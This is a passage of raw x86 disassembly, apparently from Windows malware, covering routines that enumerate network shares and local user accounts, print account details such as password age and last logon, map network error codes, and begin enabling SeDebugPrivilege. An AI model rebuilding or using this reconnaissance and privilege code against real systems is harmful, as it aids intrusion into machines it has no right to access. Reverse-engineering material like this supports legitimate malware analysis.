		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6B	proc near		; CODE XREF: sub_418A98+20p
					; sub_419E79+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CAE40
		pop	esi
		retn
sub_418C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8E	proc near		; CODE XREF: sub_401ACD+46B0p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2A
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h

loc_418CC7:				; CODE XREF: sub_418C8E+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CAEB8
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2A
		cmp	ebx, 0EAh
		jz	short loc_418D2A
		push	ebx
		push	ebx
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439098
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_418D97
; ---------------------------------------------------------------------------

loc_418D2A:				; CODE XREF: sub_418C8E+5Dj
					; sub_418C8E+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8E
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

loc_418D38:				; CODE XREF: sub_418C8E+FCj
		push	dword ptr [esi+10h]
		call	dword_4CAE5C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D4F
		mov	eax, offset aNo	; "No"

loc_418D4F:				; CODE XREF: sub_418C8E+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D38
		xor	esi, esi

loc_418D8E:				; CODE XREF: sub_418C8E+A2j
		push	[ebp+var_4]
		call	dword_4CB004

loc_418D97:				; CODE XREF: sub_418C8E+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC7
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DAF	proc near		; CODE XREF: sub_401ACD:loc_4061EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E54
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF1
		dec	eax
		jz	short loc_418DE6
		dec	eax
		jnz	short loc_418E0C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF6
		add	esp, 14h
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418DE6:				; CODE XREF: sub_418DAF+1Dj
		push	ebx
		push	edi
		call	sub_418ED5
		pop	ecx
		pop	ecx
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418DF1:				; CODE XREF: sub_418DAF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E05
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7B
		add	esp, 0Ch
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418E05:				; CODE XREF: sub_418DAF+45j
		push	57h
		pop	eax

loc_418E08:				; CODE XREF: sub_418DAF+35j
					; sub_418DAF+40j ...
		cmp	eax, edi
		jnz	short loc_418E2C

loc_418E0C:				; CODE XREF: sub_418DAF+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DADF0
		push	off_4389A4[eax*4]
		push	offset unk_439150
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------

loc_418E2C:				; CODE XREF: sub_418DAF+5Bj
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DADF0
		push	off_4389A0[eax*4]
		push	offset unk_439120
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------

loc_418E54:				; CODE XREF: sub_418DAF+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DADF0
		lea	eax, [eax+eax*2]
		push	off_4389A0[eax*4]
		push	offset unk_4390F8
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418E74:				; CODE XREF: sub_418DAF+7Bj
					; sub_418DAF+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7B	proc near		; CODE XREF: sub_418DAF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2A
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CAE4C
		pop	edi
		leave
		retn
sub_418E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED5	proc near		; CODE XREF: sub_418DAF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CAE3C
		pop	esi
		retn
sub_418ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF6	proc near		; CODE XREF: sub_418DAF+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CAFCC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929E
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192D9
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419015
		dec	eax
		jz	short loc_41900E
		dec	eax
		jz	short loc_419007
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_419007:				; CODE XREF: sub_418EF6+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_41900E:				; CODE XREF: sub_418EF6+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_419015:				; CODE XREF: sub_418EF6+102j
		mov	eax, offset aGuest ; "Guest"

loc_41901A:				; CODE XREF: sub_418EF6+10Fj
					; sub_418EF6+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CA
; ---------------------------------------------------------------------------

loc_41929E:				; CODE XREF: sub_418EF6+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439170
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A72
		add	esp, 20h

loc_4192CA:				; CODE XREF: sub_418EF6+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192D9
		push	[ebp+var_4]
		call	dword_4CB004

loc_4192D9:				; CODE XREF: sub_418EF6+40j
					; sub_418EF6+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192DF	proc near		; CODE XREF: sub_401ACD+473Bp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2A
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h

loc_41931E:				; CODE XREF: sub_4192DF+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CAED4
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41937F
		cmp	eax, 0EAh
		jz	short loc_41937F
		push	eax
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439360
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_41937F:				; CODE XREF: sub_4192DF+62j
					; sub_4192DF+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940D
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FA

loc_419391:				; CODE XREF: sub_4192DF+EDj
		cmp	edi, esi
		jz	short loc_4193D0
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419391
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_4193D0:				; CODE XREF: sub_4192DF+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_43932C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch

loc_4193FA:				; CODE XREF: sub_4192DF+9Ej
					; sub_4192DF+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940D
		push	edi
		call	dword_4CB004
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_41940D:				; CODE XREF: sub_4192DF+A5j
					; sub_4192DF+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931E
		cmp	edi, esi
		jz	short loc_419425
		push	edi
		call	dword_4CB004

loc_419425:				; CODE XREF: sub_4192DF+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41945F	proc near		; CODE XREF: sub_418A98+41p
					; sub_418C8E+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419511
		jz	loc_41950A
		cmp	eax, 7Bh
		ja	short loc_4194D6
		jz	short loc_4194CC
		cmp	eax, 5
		jz	short loc_4194C2
		cmp	eax, 8
		jz	short loc_4194B8
		cmp	eax, 32h
		jz	short loc_4194AE
		cmp	eax, 35h
		jz	short loc_4194A4
		cmp	eax, 57h
		jnz	loc_419560
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194A4:				; CODE XREF: sub_41945F+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194AE:				; CODE XREF: sub_41945F+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194B8:				; CODE XREF: sub_41945F+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194C2:				; CODE XREF: sub_41945F+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194CC:				; CODE XREF: sub_41945F+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194D6:				; CODE XREF: sub_41945F+1Aj
		sub	eax, 7Ch
		jz	short loc_419503
		sub	eax, 7C8h
		jz	short loc_4194FC
		dec	eax
		jz	short loc_4194F2
		dec	eax
		jnz	short loc_419560
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194F2:				; CODE XREF: sub_41945F+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194FC:				; CODE XREF: sub_41945F+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419503:				; CODE XREF: sub_41945F+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41950A:				; CODE XREF: sub_41945F+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419511:				; CODE XREF: sub_41945F+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954A
		jz	short loc_419543
		sub	eax, 8ADh
		jz	short loc_419575
		dec	eax
		dec	eax
		jz	short loc_41953C
		dec	eax
		jz	short loc_419535
		dec	eax
		dec	eax
		jnz	short loc_419560
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419535:				; CODE XREF: sub_41945F+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41953C:				; CODE XREF: sub_41945F+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419543:				; CODE XREF: sub_41945F+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41954A:				; CODE XREF: sub_41945F+B9j
		sub	eax, 8CAh
		jz	short loc_41957C
		sub	eax, 17h
		jz	short loc_419575
		sub	eax, 25h
		jz	short loc_41956E
		sub	eax, 29h
		jz	short loc_419567

loc_419560:				; CODE XREF: sub_41945F+35j
					; sub_41945F+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419567:				; CODE XREF: sub_41945F+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41956E:				; CODE XREF: sub_41945F+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419575:				; CODE XREF: sub_41945F+C2j
					; sub_41945F+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41957C:				; CODE XREF: sub_41945F+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_419581:				; CODE XREF: sub_41945F+40j
					; sub_41945F+4Aj ...
		push	offset dword_4DAB90
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DAB90
		pop	ecx
		retn
sub_41945F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419593	proc near		; CODE XREF: sub_401ACD+4781p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26C0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CAF84
		test	eax, eax
		jnz	short loc_419623
		mov	esi, offset dword_4DA98C
		push	offset unk_439694
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964C
; ---------------------------------------------------------------------------

loc_419623:				; CODE XREF: sub_419593+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41945F
		pop	ecx
		mov	esi, offset dword_4DA98C
		push	eax
		push	offset dword_439668
		push	esi
		call	sub_41B886
		add	esp, 14h

loc_41964C:				; CODE XREF: sub_419593+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419651	proc near		; CODE XREF: sub_416F1A+45p
					; sub_416F1A+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 27106DBh
		push	eax
		call	dword_4CAF58
		test	eax, eax
		jnz	short loc_419670
		leave
		retn
; ---------------------------------------------------------------------------

loc_419670:				; CODE XREF: sub_419651+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CAF30
		test	eax, eax
		jz	short loc_4196AE
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419697
		or	[ebp+var_8], 2
		jmp	short loc_41969B
; ---------------------------------------------------------------------------

loc_419697:				; CODE XREF: sub_419651+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_41969B:				; CODE XREF: sub_419651+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFE0
		mov	esi, eax

loc_4196AE:				; CODE XREF: sub_419651+32j
		push	[ebp+var_4]
		nop
		call	near ptr 2660969h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BC	proc near		; CODE XREF: sub_401ACD+7915p
					; sub_4198EB+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CAF94, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BB
		cmp	dword_4CAF78, ebx
		jz	loc_4198BB
		cmp	dword_4CAE88, ebx
		jz	loc_4198BB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
